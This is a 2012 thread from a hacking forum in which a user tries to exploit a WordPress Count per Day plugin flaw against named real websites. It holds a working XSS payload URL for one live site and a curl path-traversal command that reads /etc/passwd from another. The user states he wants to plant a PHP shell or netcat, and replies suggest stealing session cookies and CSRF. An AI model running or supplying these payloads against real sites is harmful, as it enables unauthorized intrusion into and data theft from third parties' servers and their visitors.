EvilZone

Hacking and Security => Hacking and Security => Topic started by: neusbeer on January 14, 2012, 11:55:13 AM

Title: xss scripting problem
Post by: neusbeer on January 14, 2012, 11:55:13 AM

I'm kinda stuck here..
There's a new exploit
http://www.exploit-db.com/exploits/18355/ (http://www.exploit-db.com/exploits/18355/)

have a target:
http://www.unrequited-love.com/ (http://www.unrequited-love.com/blog/wp-content/plugins/count-per-day/map/map.php)

the xss with the picture loading as the examples shows works.

Code: [Select]

http://www.unrequited-love.com/blog/wp-content/plugins/count-per-day/map/map.php?map='%22));%20%3C/script%3E%3Cimg%20src=http://www.bing.com//az/hprichbg?p=rb%2fOrcaWhales_ROW818916751.jpg%3E'this brings a nice picture of a whale.

But I want to inject php or js script. How can I manage that?
I've tried everything..  :o
I like to add

Quote

<?php passthru($_POST['cat /etc/passwd']); __halt_compiler();

or similar, or c99 (or other shell) or netcat command. anything..
except a picture .. *sigh*



the local file inclusion works as a charm (Note: A lot deleted download.php)

Code: [Select]

curl "http://www.armandocruz.com/wp-content/plugins/count-per-day/download.php?n=1&f=../../../../../../etc/passwd"gives the data of /etc/passwd (but has shadow.. so useless :P)

Title: Re: xss scripting problem
Post by: ca0s on January 14, 2012, 01:16:31 PM

You cannot include PHP code like that. It is a XSS, client side exploiting. PHP is executed server side.
Injecting JS should be easy. Just put it. If there is no WAF or any kind of filters, it should work.
About file inclusion, it says Arbitrary File Download, not inclusion. So that will not work to execute PHP code.

Title: Re: xss scripting problem
Post by: neusbeer on January 14, 2012, 01:37:35 PM

ahh ofcourse.. Stupid me ...  ;D
tried it for the whole night long.. (about 4 hours :P)


What can the exploit be usefull for?
Injection a picture is not really superduper  :o

Title: Re: xss scripting problem
Post by: ande on January 14, 2012, 09:52:41 PM

Grabbing session cookies, CSRF and browser exploits. Thats about what I can think of right now.